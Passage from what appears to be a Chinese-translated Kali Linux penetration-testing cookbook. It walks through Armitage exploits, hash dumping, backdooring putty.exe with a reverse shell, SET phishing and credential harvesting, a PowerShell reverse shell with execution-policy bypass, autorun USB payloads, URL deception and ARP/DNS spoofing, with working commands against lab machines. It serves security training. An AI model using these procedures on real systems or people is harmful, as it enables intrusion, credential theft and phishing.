在命令提示符下,输入以下内容:

service postgresql start
msfconsole

停止 Metasploit 控制台

msf >控制台,输入以下内容:

quit
service postgresql stop

还有更多...

虽然你可以通过命令行完成所有工作,但接下来我们将使用 Armitage,Armitage 是 Metasploit 框架的图形用户界面前端。如果你想获取更多关于使用命令行的信息,下面有两个很棒的资源:

Armitage 设置

Armitage 是 Metasploit 框架的图形前端。

在本教程中,我们将为 Metasploit 框架设置 Armitage 图形用户界面。根据您的偏好,您可能会更喜欢图形界面,而不是命令行体验。然而,您可以随时互换使用两者,因为它们使用的是相同的数据库。

请注意,Metasploit 框架和 Armitage 使用相同的后台数据库,因此如果您已经初始化了数据库,请跳到启动 Armitage 的部分。

准备工作

让我们确保以下先决条件:

  • Kali Linux 正在运行,并且您以 root 身份登录

  • 确保您最近已运行更新

  • 验证互联网连接

Armitage 初始化和启动

现在我们将初始化并启动 Armitage:

  1. 首先通过点击左侧的终端图标打开一个终端窗口。

  2. Metasploit 使用数据库存储关于目标、漏洞和其他信息。我们需要首先启动数据库守护进程。在命令提示符中,键入以下内容:

service postgresql start
  1. 接下来,我们将初始化数据库(这只需要在首次启动时执行一次):
 msfdb init

如果您需要重新初始化数据库以重新开始,可以使用msfdb reinit命令。请注意,所有现有数据将会丢失。

  1. 通过键入以下命令启动 Armitage:
armitage
  1. 点击“连接”,如以下截图所示:

Armitage 数据库连接界面

  1. 在系统提示启动 Metasploit RPC 服务器时选择“是”:

Armitage 启动 RPC 服务器界面您可能会被要求输入计算机的 IP 地址。请输入您分配给仅主机网络的 IP 地址。在我的例子中是192.168.56.102

停止 Armitage

要停止 Armitage 并退出:

  1. 要退出,点击顶部的 Armitage,选择“关闭”:

带有关闭选项的 Armitage 菜单

  1. 在命令提示符中,键入以下内容:
service postgresql stop

使用 Armitage 进行基本漏洞攻击

在本教程中,我们将执行一些 Armitage 的基础任务,包括加载 nmap 扫描、执行 nmap 扫描、查找攻击目标以及攻击目标机器。

准备工作

让我们确保以下先决条件:

  • Kali Linux 正在运行,并且您以 root 身份登录

  • 确保 Armitage 正在运行

  • 至少确保 Metasploitable 虚拟机和 Windows XP 虚拟机正在运行;如果需要,可以随时启动其他目标主机

操作步骤...

从 Armitage 主屏幕开始,我们必须首先在网络上查找我们的目标。我们可以导入之前的 nmap 扫描结果,也可以直接从 Armitage 控制台运行 nmap。

导入 nmap 扫描

我们将首先将 nmap 扫描导入 Armitage:

  1. 从顶部选择“主机”|“导入主机”:

Armitage 导入主机菜单

  1. 浏览文件系统,选择您的 nmap 输出 XML 文件;点击打开

Armitage 打开文件对话框

  1. 您现在会看到 nmap 扫描结果已显示,并且可以开始处理设备:

Armitage nmap 扫描结果导入屏幕

从 Armitage 界面执行 nmap 扫描

要在 Armitage 中执行 nmap 扫描,请执行以下操作:

  1. 从顶部选择主机|Nmap 扫描|强力扫描

Armitage nmap 扫描菜单

  1. 输入我们的扫描范围;在此案例中,我们将扫描整个192.168.56.0/24网络,然后点击确定。此扫描可能需要几分钟时间才能完成,请耐心等待:

Armitage nmap 输入范围对话框

  1. 完成后,您将看到扫描完成通知;您的控制台现在会显示您的主机。您也可以通过点击屏幕中间附近的 nmap 图标旁的 nmap x来关闭 nmap 输出窗口:

Armitage nmap 扫描结果导入屏幕

查找针对主机的攻击

我们将使用 Armitage 来查找针对主机的攻击:

  1. 此时,让我们使用我们的 Metasploitable 机器,它当前的 IP 地址是192.168.56.104。点击它一次以选择(此时会显示绿色虚线轮廓)。

  2. 如果您右键点击设备,您会看到各种选项——选择服务。这将显示该主机的所有监听端口和服务列表。向下滚动一点,查看所有提供的信息:

Armitage 主机服务屏幕

  1. 让我们寻找一些可能针对主机的攻击。从顶部点击攻击|查找攻击。这可能需要一两分钟来关联信息。完成后,您将看到一个攻击分析完成对话框。选择确定以关闭它:

Armitage 查找攻击菜单

  1. 现在,如果我们右键点击我们的主机,我们会看到一个新菜单项标记为攻击。浏览所有可能的攻击选项:

Armitage 攻击菜单

利用主机

我们现在将对主机发起漏洞利用:

  1. 现在我们已经有了可能会危及主机的攻击,让我们选择一个来执行。右键点击我们的 Metasploitable 机器,选择攻击|irc|unreal_ircd_3281_backdoor

  2. 您将看到一些选项,您可能需要滚动并进行更改。例如,您的 LHOST 应该是指向目标虚拟机的接口。进行所需更改后,点击启动

Armitage 漏洞利用启动对话框 请耐心等待,可能看起来像是卡住或失败,但它会继续进行。

  1. 现在你会看到 Metasploitable 设备的图标已更改,显示它已被攻陷:

Armitage 主屏幕,显示已攻陷的设备

  1. 既然设备已被攻陷,让我们运行几个简单的命令。通过右键点击该设备,我们会看到一个新的操作叫做 Shell 1;从这里,我们选择交互:

Armitage shell 交互界面

  1. 现在你会看到底部出现一个新的 Shell 1 标签,并且显示\(提示符。让我们通过在\)提示符下输入以下命令来查看我们在该机器上是谁:
whoami
  1. 这应该返回你当前认证的用户;在我们的案例中,我们是 root:

Armitage shell whoami 输出

  1. 为了验证我们能对这台机器造成多大的破坏,我们在$提示符下输入以下命令:
cd /bin 
touch youhavebeenowned
chmod 777 youhavebeenowned
  1. 现在,让我们登录到我们的 Metasploitable 虚拟机,使用msfadmin/msfadmin登录,并运行以下命令:
ls -lai /bin/youhavebeenowned
  1. 从输出中可以看到文件存在,位于bin目录中,且用户、组和所有人都有读取、写入和执行权限:

Armitage 命令输出 “圣母攻击” - 这里有一个列出的攻击叫做圣母攻击。简而言之——不要使用它。它很吵,什么都扔向目标。如果你在实验室环境中有一个虚拟机寻找漏洞,它可能会有用,但在活跃的网络或互联网中,它会很容易被发现,通常只是显示测试者缺乏经验和技巧。

使用 Armitage 进行高级攻击

在本部分中,我们将使用 Armitage 对 Windows XP 机器进行一次高级攻击。我们将执行多个不同的操作,如初步利用、VNC 访问、下载和查看文件。

入门

让我们确保以下先决条件:

  • Kali Linux 正在运行,你已登录为 root

  • 确保 Armitage 正在运行

  • 至少确保 Windows XP 虚拟机正在运行——可以根据需要启动其他目标主机

如何执行...

从 Armitage 屏幕中,选择 Windows XP 虚拟机进行本部分操作。

初步利用

我们将对 Windows 虚拟机进行初步利用:

  1. 右键点击 Windows XP 虚拟机,选择攻击 | smb | ms08_067_netapi:

Armitage 攻击选项

  1. 根据需要进行任何必要的修改,包括如果需要更改 LHOST 为虚拟机网络中的 IP 地址。准备好后,点击启动:

Armitage 攻击对话框

  1. 现在你会看到 Windows XP 虚拟机设备的图标已被更改,再次标识该机器已被攻陷。

Armitage 主屏幕,显示已被攻陷的设备

导出哈希

我们将对 Windows 虚拟机执行密码哈希导出:

  1. 现在让我们转储用户哈希,以便稍后破解它们并将其用作其他漏洞利用的一部分。从右击 Windows XP 虚拟机开始,你将看到一个新的选项。选择 Meterpreter 3 | 访问 | 转储哈希 | 注册表方法;在下一个屏幕中,选择启动。

  2. 现在你将看到哈希值显示在屏幕上,并且它们也会被保存在我们的战利品库中。另外,查看输出文件,你会看到密码提示也被转储了。Jane Doe 的密码提示是jane123——这可能是她的密码吗?

armitage 哈希转储输出

  1. 如果你关闭了哈希转储窗口,可以重新进入并点击查看 | 战利品;然后双击主机查看哈希值。

与 Windows 机器互动

我们现在将打开一个命令行来直接与 Windows 虚拟机互动:

  1. 右击 Windows XP 虚拟机,选择 Meterpreter 3 | 互动 | 命令行。

  2. 尝试运行一些 Windows 命令,看看会有什么返回:

dir 
cd / 
dir
  1. 现在,让我们启动 VNC,看看从桌面可以做些什么。右击 Windows XP 虚拟机,选择 Meterpreter 3 | 互动 | 桌面(VNC)。你将看到类似如下的屏幕。注意此 VNC 会话的端口号:

Armitage VNC 绑定信息框

  1. 现在让我们点击左侧的终端图标。

  2. 从 shell 输入以下命令:

vncviewer 127.0.0.1::5913
  1. 现在,你将进入 Windows XP 机器:

Windows XP 虚拟机的 VNC 视图

浏览目标文件

现在我们将浏览 Windows 机器的文件系统:

  1. 右击 Windows XP 虚拟机,选择 Meterpreter 3 | 探索 | 浏览文件。你将看到一个熟悉的文件浏览界面:

Armitage 浏览文件屏幕

  1. 你将看到你可以浏览并更改目录。你可以创建目录和上传文件;如果右击文件,你将看到其他选项,如查看和下载。下载几个文件后,去查看 | 下载,看看它们:

Armitage 下载文件屏幕

还有更多内容...

我们将涵盖诸如在第六章中破解用户密码,密码破解以及在第十章中保持持久性,保持访问等主题。你现在可能想要去做这些练习,因为它们是我们现在内容的延续。

使用后门工厂和 Armitage

我们将结合使用后门工厂和 Armitage 来攻破目标系统。后门工厂是一个工具,可以向 Windows 可执行文件插入漏洞利用代码。当你试图通过让用户下载软件,甚至通过诸如投放 USB 密钥等物理攻击来攻击用户时,这个工具非常有用。

准备就绪

让我们确保以下先决条件:

  • Kali Linux 正在运行,并且你已作为 root 用户登录

  • Armitage 正在运行

  • 你的 Windows XP 虚拟机正在运行

如何操作...

现在我们将使用 Backdoor Factory 将漏洞利用代码插入到可执行文件中:

  1. 首先,让我们浏览并找到一个用户可能想下载的流行软件包,或者可能看起来无害或诱人的软件。在我们的例子中,让我们去下载 putty。每个网络管理员可能都曾在某个时刻使用过 putty。打开 Firefox  并访问www.putty.org。从该站点下载putty.exe(32 位版本);并将文件保存到你的Downloads目录中。

你需要在页面上滚动一下才能找到 EXE 文件——不要使用 MSI 文件进行此练习。

  1. 打开终端  并输入以下命令。我们首先创建一个漏洞利用目录,然后将putty.exe文件复制到该目录中:
cd
mkdir exploit
cp ~/Downloads/putty.exe ~/exploit/
  1. 接下来,让我们首先运行 Backdoor Factory,看看我们可以将哪些内容插入到putty.exe中:
backdoor-factory -f ~/exploit/putty.exe <enter>

Backdoor Factory 可用 Shell 代码输出屏幕

  1. 注意可用于此可执行文件的选项。我们将选择reverse_shell_tcp_inline,使用我们 Kali 机器的 IP,并输入以下命令来使用端口号。在执行命令时,系统会询问你可以在哪里注入代码;我们简单地选择1
backdoor-factory -X -f ~/exploit/putty.exe -s reverse_shell_tcp_inline -H 192.168.56.10 -P 8123

Backdoor Factory 成功将 Shell 代码添加到 putty.exe 文件中

  1. 现在,我们将在Home目录中看到一个新的backdoored目录,其中包含带有漏洞利用的putty.exe。将该文件移动到你的 Windows XP 机器上,但不要立即运行它。

  2. 启动 Armitage 并进入主屏幕。从左侧的下拉目录中选择 exploit | multi | handler,然后点击它:

Armitage 处理程序菜单

  1. 系统将显示一个对话框,选择与我们之前输入的信息对应的正确 IP 和端口号。在我们的例子中,IP 是192.168.56.10,端口是8123。点击启动:

Armitage 启动对话框

  1. 你将看到处理程序启动;注意顶部,你的 Windows XP 机器看起来正常:

Armitage 输出屏幕

  1. 现在,在你的 Windows 虚拟机上启动putty.exe

Windows XP 正在运行被利用的 putty.exe 文件

  1. 注意,你的 Windows XP 机器图标现在会变化,显示它已被利用;同时你也会看到会话已从控制台输出打开:

Armitage 屏幕显示成功连接和被利用设备图标

  1. 如果你右键点击 Windows XP 机器,你可以选择 Shell 1 | Interact。然后,你会进入一个 shell 界面,可以根据需要操作:

Armitage 显示命令行界面

第五章:社会工程学

本章将涵盖以下主题:

  • 网络钓鱼攻击

  • 垃圾邮件钓鱼攻击

  • 使用 SET 进行凭证收集

  • 网站劫持

  • PowerShell 攻击向量

  • 二维码攻击向量

  • 感染性媒体生成器

  • 混淆和操控 URLs

  • DNS 欺骗和 ARP 欺骗

  • DHCP 欺骗

介绍

社会工程学是渗透测试的一个独特方面。社会工程学可以通过电子手段来实施,正如我们在接下来的配方中将看到的那样。然而,社会工程学也可以应用于物理渗透测试甚至数据收集。它变成了一门关于人类本性和文化规范的艺术。我们利用人类已知的自然倾向来帮助我们实现或获得我们想要的东西。

网络钓鱼攻击

网络钓鱼攻击是针对任何个人或实体的松散攻击。它们的主要价值在于大规模分发,期望通过大范围的分发获得一小部分点击。这些攻击有时用于渗透测试,特别是针对客户所拥有的特定域。这些攻击专门针对电子邮件。由于它们的大规模分发,这些攻击常常会被许多先进的电子邮件垃圾邮件过滤公司快速捕捉到。但只要有一个能够通过并被点击,就足够了。

在本配方中,我们将创建并发起一个通用的网络钓鱼攻击。

做好准备

让我们确保以下先决条件:

  • Kali Linux 正在运行,并且您已经以 root 用户登录

  • 您需要一些电子邮件账户来使用和/或最好有一个实验室的 SMTP 服务器。

如何做...

我们将使用社会工程工具SET)来创建一个网络钓鱼攻击:

  1. 从应用程序菜单中选择社会工程工具 | SET 社会工程工具包。您将看到以下界面:

初始工具包设置界面

  1. 选择顶部选项:1) 社会工程攻击

  2. 选择5) 大规模邮件发送攻击

  3. 选择2) 电子邮件攻击大规模邮件发送器

  4. 系统现在会要求您选择一个包含每行一个电子邮件地址的电子邮件列表文件。请输入要使用的路径和文件名。在我的例子中,我已在/root/emaillist.txt准备了一个列表:

SET 大规模邮件发送器对话框界面

  1. 现在,我们将被问到如何使用我们的电子邮件攻击,选择通过 Gmail 账户还是自己的服务器/中继。为了方便起见,我将使用一个临时的 Gmail 账户;然而,在实际操作中,我通常会使用一个开放中继服务器。选择 1\. 使用 Gmail 账户进行电子邮件攻击

切勿使用任何可能泄露个人身份的服务器或账户。最好的方法是使用开放中继服务器。如果你仔细寻找,会发现有很多这样的服务器。

  1. 输入你的临时 Gmail 账户:johndoe@example.com 并按 Enter

  2. 输入一个作为发件人显示给用户的名称:John Doe

  3. 输入账户密码并按 Enter

  4. 决定是否要以高优先级发送邮件,并输入 yesno,然后按 Enter

  5. 决定是否要附加一个文件。在我的例子中,我要附加一个含有恶意载荷的文件。所以,我将输入 y 然后按 Enter

  6. 我将附加我的 /root/salary.pdf 恶意载荷文件。

你需要附加一个恶意载荷或一个恶意链接,才能使钓鱼攻击生效。根据你的测试需求选择合适的方式并继续操作。

  1. 输入邮件主题。在我的例子中,我将主题设为 Salary Info

  2. 我可以选择以 HTML 格式或纯文本格式发送邮件。我为了简便起见将选择纯文本格式。接下来,我将按 Enter

如果你计划嵌入恶意链接,你必须选择 HTML 格式。如今,大多数用户已经习惯看到 HTML 格式的页面,通过纯文本发送可能会增加他们怀疑邮件是欺诈的可能性。但出于示范目的,这样做也是可行的。

  1. 现在,输入邮件正文。我打算让它简短而简单:
Hi Jane,
Here is the Salary Information you requested. 
Thanks 
John 
END 
Hi 
  1. 然后,它会输出邮件发送到的电子邮件地址。

正确编写邮件内容和附件或链接非常重要,这样你才有更大的成功机会。因此,务必仔细检查拼写和语法问题。

定向网络钓鱼攻击

定向网络钓鱼攻击是专门针对个人或实体的。其主要价值在于它们针对的是一小群用户。这类攻击在渗透测试中被广泛使用,通常是针对客户的特定电子邮件地址。你必须花更多时间研究客户,收集信息,如邮件签名、标志,并了解客户的通信内容。通常,你可能会注册一个相似的域名,这样当他们看到“发件人”时,会觉得这个域名似曾相识。

在这个步骤中,我们将创建并启动一个定向的网络钓鱼攻击。

准备工作

让我们确保以下前提条件:

  • Kali Linux 正在运行,并且你以 root 身份登录。

  • 你需要一些电子邮件账户和/或一个实验室 SMTP 服务器。

如何操作...

现在我们将使用 SET 创建一个针对性网络钓鱼攻击:

  1. 从应用程序菜单中,选择社会工程工具 | SET 社会工程工具包。你将看到以下界面:

初始 setookit 界面

  1. 选择顶部选项:1) 社会工程攻击

  2. 选择1) 矛刺钓鱼攻击向量

  3. 选择1) 执行大规模电子邮件攻击

  4. 从这里开始,我们将有多个可选的攻击向量。根据你要发送的邮件以及你认为客户所拥有的软件来选择合适的攻击向量。为了测试目的,我们将使用13) 嵌入式 EXE 的 Adobe PDF 社会工程

  5. 这样,攻击将嵌入到提供的 PDF 或空白 PDF 中。为了测试,我们将直接使用2) 使用内置的空白 PDF 进行攻击

当进行矛刺钓鱼渗透测试时,你可能有一些期望的结果。然而,重要的是要记住,这些结果之一是避免引起怀疑。因此,邮件越是看起来合适,你就越有利。例如,如果你在医疗行业中进行这类操作,可以下载一些 HIPAA 法规的 PDF 格式文件,插入恶意软件,并将其发送给组织中的相关人员。当他们打开它时,他们会看到他们预期的内容,从而帮助你掩盖攻击的事实,避免引起他们的警觉。

  1. 接下来,你有几个选项来选择回调方式。反向 shell 或反向 meterpreter 总是不错的选择。选择1) Windows 反向 TCP shell

  2. 我们将设置我们的 Kali 盒子 IP 地址。使用你适当的 IP 地址;在我的例子中,我将使用192.168.56.10

  3. 设置回连的端口。为了测试,我将使用8123

  4. 选择2\. 重命名文件,我想要酷一点。并将文件重命名为适合使用情境的名称。

  5. 对于这个,我们将选择1\. 电子邮件攻击单一电子邮件地址

  6. 选择1\. 预定义模板

在大多数情况下,你会希望创建自己的模板,但正如我们在钓鱼攻击章节中做的那样,你可以参考之前的内容。此外,大多数垃圾邮件引擎知道这些内置模板的格式,因此攻击将相对容易被防御。

  1. 选择一个可用的模板。3: 你看过这个吗?对于我们的示例来说就可以了。

  2. 输入发送邮件的地址johndoe@example.com

  3. 在这种情况下,让我们看看是否能找到一个开放的中继来转发邮件。可以在谷歌上搜索一下,或者尝试使用你的 ISP 邮件服务器。选择2\. 使用你自己的服务器或开放中继

如果找不到中继服务器,你可以回退到一个 Gmail 账户,并使用第 5.1 节中列出的步骤。

  1. 输入合适的发件人地址:Janedoe@example.com

  2. 输入合适的发件人名称:Jane Doe

  3. 如果你的中继服务器需要用户名,你可以根据需要输入用户名信息。我会把我的留空。

  4. 如果你的中继服务器需要密码,你可以根据需要输入密码信息。我会把我的留空。

  5. 输入邮件服务器地址或完全限定域名FQDN)。

  6. 输入中继的 SMTP 服务端口号。我将我的设置为25

  7. 我将选择“否”来标记消息为低优先级。

  8. 最后,我的服务器支持 TLS 吗?为此,我也会选择“否”。

  9. 从这里,你将自动获得设置监听器的选项,并会自动启动msfconsole并为你设置相应的监听器。由于我喜欢使用 Armitage,所以我会通过它来打开监听器。

请参考第四章中的配方,在目标中查找漏洞,以及使用 Armitage 进行的基础漏洞攻击使用 Armitage 进行的高级攻击,学习如何在 Armitage 中打开监听器。

  1. 我打开了邮件中的 PDF,但会看到一个空白的 PDF。但注意,在我的 Armitage 控制台中,现在会显示与 Windows XP 机器的连接。

我在我的 Windows XP 机器上下载并使用了旧版的 Acrobat Reader。Windows XP 机器,打开了 hipaaregs.pdfKali Linux Armitage 处理器屏幕,显示 XP 机器已连接。再次强调,许多防病毒和垃圾邮件引擎都熟悉这些攻击,除非你花时间精心设计信息并创建自定义负载,否则检测率会很高。

使用 SET 进行凭证收集

凭证收集可以与多种不同类型的攻击一起使用,但最终目标是让用户相信他们已经到达了他们想访问的网站,比如 Facebook 或 Google,并在他们尝试登录时窃取他们的凭证。

在本配方中,我们将模拟一个网站并进行该网站的凭证收集。

准备工作

让我们确保以下前提条件:

  • Kali Linux 正在运行,你已经以 root 用户登录。

  • 临时将接口从你的某个 Windows 测试机移到 NAT 网络。

如何操作……

我们现在将伪装成一个真实的网站来收集凭证:

  1. 在应用菜单中,选择社会工程工具 | SET 社会工程工具包。你将看到以下界面:

初始 setoolkit 界面

  1. 选择顶部选项,1) 社会工程攻击

  2. 选择2) 网站攻击向量

  3. 选择3) 凭证收集攻击方法

  4. 选择1) 模板

  5. 然后系统会要求你输入邮局的 IP 地址。请输入 Kali 在 NAT 网络上的 IP 地址。你可以打开另一个终端窗口并输入ifconfig。我将输入10.0.2.4

Kali 机器的 ifconfig 输出

  1. 我们将获得一个预定义模板列表,所以我们选择2. Google

  2. 收集器将自动启动并显示在你的屏幕上。

  3. 从 Windows 机器上,登录并浏览到你之前输入的 Kali 设备的 IP 地址:

假 Google 登录页面

  1. 你会看到一个非常熟悉的登录界面;然而,顶部显示的是一个 IP 地址,而不是 Google。

为了让这个攻击更加可信,你需要隐藏 IP 地址。你有什么想法吗?有两种选择。首先,如果你之前已经攻破了设备,可以修改主机文件;另外,你可以使用 DNS/DHCP 欺骗。

  1. 输入测试凭证并点击“登录”:

假登录界面

  1. 注意,在 Windows 机器上,你会被重定向到 Google。但是,看看 SET,你会发现我们已经收集到了凭证:

凭证设置输出

  1. 输入 Control-C 并按 Enter;这将让你返回到 SET 控制台。

网页劫持

网页劫持是一种方法,用户会看到一个提示说网站已迁移的页面,当他们被重定向时,恶意软件将被插入到浏览器/计算机中。

在本教程中,我们将进行网页劫持。

准备就绪

让我们确保满足以下前提条件:

  • Kali Linux 正在运行,你已作为 root 登录

  • 暂时将你的其中一台 Windows 测试机的网络接口切换到 NAT 网络

如何操作...

现在我们将通过模拟网站重定向来进行网页劫持:

  1. 从应用程序菜单中选择社会工程学工具 | SET 社会工程学工具包。你将看到以下界面:

初始设置工具界面

  1. 选择顶部选项,1) 社会工程学攻击

  2. 选择 2) 网站攻击向量

  3. 选择 5) 网页劫持攻击方法

  4. 我们将选择 2) 网站克隆器

  5. 再次输入帖子的 IP 地址。在这种情况下,我的 IP 是 10.0.2.4

  6. 输入你想要克隆的网址。你可以使用一个示例网址:us-123hiking.simplesite.com/.

  7. 系统将自动克隆该网站并启动 msfconsole

  8. 从这里,打开你的一台 Windows 虚拟机。我将使用 Windows 7 机器并浏览到 http://10.0.2.4

假网站界面

  1. 我看到顶部有一个链接,于是我点击它打开对话框:

运行对话框

  1. 然后,我点击从机器上运行。

  2. 从这里,如果我回到 Kali,我会看到一个新的会话已经打开:

MSF 利用会话连接屏幕

  1. msf > 提示符下输入 sessions 1 并按 Enter,这将让你连接到计算机。

  2. 输入 sysinfo 并按 Enter 获取系统信息。

  3. 从这里,你可以在 msfconsole 中尝试其他命令进行操作,但此时你已经可以访问这台 PC。

PowerShell 攻击向量

在本配方中,我们将使用 PowerShell 来回连到我们的 Kali 主机。PowerShell 已被包括在 Windows Vista 及以后版本中,并且由于其外壳功能,它已成为一个非常流行的攻击向量。我们不会专注于如何将脚本传送到目标,因为在其他配方中已经涵盖了相关选项;这里只专注于创建恶意载荷。

准备就绪

让我们确保以下先决条件:

  • Kali Linux 正在运行,你已以 root 身份登录。

  • 暂时将你的 Windows 测试机器的网络接口切换到 NAT 网络。

如何操作...

现在我们将使用 PowerShell 来攻击一个主机:

  1. 从应用程序菜单中选择社交工程工具 | SET 社交工程工具包。你将看到以下界面:

初始 setoolkit 界面

  1. 选择顶部选项,1) 社交工程攻击

  2. 选择9) PowerShell 攻击向量

  3. 选择2) PowerShell 反向 Shell

  4. 输入你的 Kali 主机的 IP 地址192.168.56.10

  5. 输入监听端口8123

  6. 当询问是否启动监听器时,选择“否”,因为我们将使用 Metasploit 来完成这个操作。

  7. 一个文件将被创建在以下位置~/.set/reports/powershell/powershell.reverse.txt。将这个文件移到 Windows 机器,并将其扩展名从 TXT 改为 PS1。

  8. 由于我们将使用msfconsole作为监听器,让我们通过在终端窗口输入以下命令来准备它。我们将使用我们的 Kali Linux 主机的专用 IP 地址 192.168.56.10,以及我们的监听端口8123

cd 
service postgresql start 
msfconsole 
handler -p generic/shell_reverse_tcp -H 192.168.56.10 -P 8123 

MSF 初始化界面

  1. 在你的 Windows 7 机器上,打开命令提示符,并输入以下内容:
powershell -ExecutionPolicy Bypass -file c:\share\powershell.reverse.ps1

PowerShell 输出

  1. 你会注意到我们现在在会话 1 上有一个连接,因此让我们通过输入sessions 1来打开它。从这里,我们可以输入一个简单的命令,例如dir来获取目录列表:

msf 输出的目录内容

QRCode 攻击向量

在本配方中,我们将为我们拥有的网站生成一个二维码,以收集凭据。这个二维码可以通过多种方式发送,比如电子邮件、Facebook、Twitter 帖子,甚至可以作为传单的一部分留在目标车辆上。我们将把这个二维码发送给我们的目标。

准备就绪

让我们确保以下先决条件:

  • Kali Linux 正在运行,你已以 root 身份登录。

如何操作...

我们将创建一个二维码,指向一个网站:

  1. 从应用程序菜单中选择社交工程工具 | SET 社交工程工具包。你将看到以下界面:

初始 set 工具包界面

  1. 选择顶部选项1) 社交工程攻击

  2. 选择8) QRCode 生成器攻击向量

  3. 输入恶意 URL;为了测试,我们将输入www.packtpub.com

  4. 它将生成图像文件并提供其位置。

  5. 在你的 Kali 虚拟机上打开图像文件,如下所示:

生成的二维码

  1. 大多数手机会扫描此图像并将你带到指定的网站。

苹果 iOS 需要一个第三方应用——不过,应该已经包含在 iOS 11 中。

还有更多...

单独来看,这个攻击可能显得微不足道,但它是一个非常有效的攻击。首先,你几乎可以设计任何你想要的网站,并利用它捕获凭证。试想一下,在公司停车场放置传单,写着扫描此二维码并注册以获得一张价值 5.00 美元的 Starbucks 礼品卡。你认为这些人中有多少可以获取到重要信息?

感染介质生成器

在这个教程中,我们将构建一个可以放在 USB、CD 或 DVD 上的感染性文件。我们将生成一个恶意的 Payload,当插入受害者 PC 时,它将自动运行。我们将模拟执行过程;然而,如果你有实体测试机器,测试起来会更容易。

准备就绪

让我们确保以下先决条件:

  • Kali Linux 正在运行,你已以 root 用户登录

  • Windows 虚拟机已启动并运行

如何操作...

我们将构建我们的感染介质:

  1. 从“应用程序”菜单中选择 社会工程工具 | SET 社会工程工具包。你将看到以下界面:

初始工具包界面

  1. 选择顶部选项 1) 社会工程攻击

  2. 选择 3) 感染介质生成器

  3. 选择 2) 标准 Metasploit 可执行文件

  4. 让我们选择 2) Windows 反向 _TCP Meterpreter

  5. 对于 LHOST,使用你 Kali 机器的 IP 地址 192.168.56.10

  6. 输入回调端口 8123

  7. 然后它将生成 Payload。现在开始启动监听器:

Payload 生成输出

  1. 从这里开始,我们有一个自动运行选项,可以将其刻录到 DVD 或 CD 上,或放入 USB。用虚拟机模拟这一过程有些困难,因此我们将直接从 ~/.set/autrun/program.exe 复制 program.exe 文件,并将其放到我们的 Windows 7 测试机器上执行。

  2. 从你的 Windows 机器上,打开模拟自动运行执行的 program.exe 文件。注意,在运行时,没有可见的执行迹象。如果它是从 USB 驱动器自动运行的情况也是如此:

在 Windows 虚拟机上执行 Payload

  1. 从我们的 Kali 机器上,你会注意到我们有一个新的会话连接。输入 sessions 查看已连接的设备:

MSF 会话已连接

  1. 输入 sessions 1,从这里开始,我们已经在 meterpreter 会话中连接到目标机器;为了验证我们的连接,输入 sysinfo

MSF sysinfo 输出

还有更多...

这是一个非常适合 USB 闪存驱动器的攻击方法。如果您正在与公司合作进行渗透测试,可以将其散布在公司入口和停车场周围。很有可能至少会有几个 USB 驱动器被插入,从而让您访问目标网络。

混淆和操控 URL

混淆和操控 URL 早已被用于欺骗最终用户点击恶意网站。这些技术可以通过各种方式实现,如使用 URL 缩短、隐藏 URL、使用 IP 地址和其他功能。这些方法可以应用于电子邮件或其他互动文档。

在本教程中,我们将探讨几种混淆或操控 URL 的方法。

准备开始

让我们确保以下先决条件:

  • Kali Linux 正在运行,您已以 root 身份登录

如何操作...

现在我们将回顾几种混淆 URL 的方法:

URL 缩短器

我们首先来使用 URL 缩短器:

  1. 在您的主 Kali 屏幕上,打开 Firefox 浏览器。

  2. 访问goo.gl链接,输入您想缩短的 URL。以下是我使用的示例:

www.nytimes.com/2017/05/15/technology/personaltech/heres-how-to-protect-yourself-from-ransomware-attacks.html

  1. 选择“我不是机器人”并点击“缩短 URL”:

  1. 您将获得一个缩短后的 URL;在我的例子中,它是goo.gl/0Dhuon。当您将其输入浏览器时,您将被带到原始链接。

URL 操控

现在我们将操作一个 URL:

在您的主 Kali 屏幕上,打开 Firefox 浏览器。

有一种方法是使用@符号在 URL 中帮助伪造 IP 地址。在浏览器中,尝试输入http://www.gooogle.com@www.packtpub.com。根据您的浏览器,您可能会或不会看到错误信息。例如,先在 Firefox 中尝试,然后在 Chrome 中试试看。在@符号前的部分被视为网站的登录凭证,如果该网站不需要身份验证,您将直接进入。

在写这本书时,您将在一个页面上获得确认,并会自动重定向到另一个页面。

简单的 URL 链接误导

我们将使用 URL 链接重定向攻击:

  1. 在 Kali 中,打开一个文档编辑器。我将使用 Google Docs。

  2. 输入一个简单的短语,例如Please signup at facebook.com for the promotion

  1. 高亮显示 facebook.com,右键点击并选择链接...:

  1. 输入不同的 URL 地址,然后点击应用:

  1. 现在,如果点击链接,它会将你转发到目标网站,而不是显示的网站:

还有更多内容...

这些与网站、电子邮件、文档和 PDF 文件结合的混淆方法可能会极其棘手。用户往往会太快点击链接,以至于没有意识到自己被带到了错误的网站。如果你结合注册与目标域名相近的域名,它们通常会被最终用户忽视。

google.com 被重定向到以下之一为例——g00gle.comgoog1e.comgoog1e.com。这些常常会被普通用户轻易忽视,你可以拥有类似的网站。

DNS 欺骗和 ARP 欺骗

在这个食谱中,我们将讨论如何进行 DNS 和 ARP 欺骗。在我们过去的几个食谱中,我们展示了利用 IP 地址进行的攻击——即 Kali 机器的 IP。然而,在实际攻击中,这种方式很容易被发现。攻击的关键是让它看起来像是用户访问的是正确的网站,并且尽可能真实。这个过程的第一步是进行 DNS 欺骗。

正在准备中

让我们确保以下先决条件:

  • Kali Linux 正在运行,你已作为 root 用户登录。

  • 暂时将你的 Windows 测试机器的接口切换到 NAT 网络

如何操作...

我们现在将使用 ARP 欺骗将用户重定向到一个假网站:

  1. 点击以下图标打开一个新的终端窗口。

  2. 我们需要确保使用的接口启用了混杂模式,并且需要确保 IP 转发功能已经开启。我们需要创建一个主机文件来欺骗特定的网站或一组网站。因为我们在几个测试示例中使用了一个登山网站,所以我们将欺骗 us-123hiking.simplesite.com,并将其指向 10.0.2.4,这是我的 Kali 机器在 eth0 上的 IP 地址。请输入以下命令:

cd 
ifconfig eth0 promisc
echo 1 > /proc/sys/net/ipv4/ip_forward
touch fakehost.txt
echo '10.0.2.4 us-123hiking.simplesite.com' > ~/fakehost.txt
  1. 现在,我们基本上要成为中间人;我们将通过 ARP 欺骗路由器的 IP 地址(默认网关)10.0.2.1 和 ARP 欺骗我们的 Windows 机器的受害者 IP 地址 10.0.2.5 来实现。然后,使用我们刚刚创建的主机文件启动 dnsspoof
arpspoof -t 10.0.2.1 10.0.2.4 > /dev/null 2>&1 & 
arpspoof -t 10.0.2.5 10.0.2.4 > /dev/null 2>&1 & 
dnsspoof -f ~/fakehost.txt 

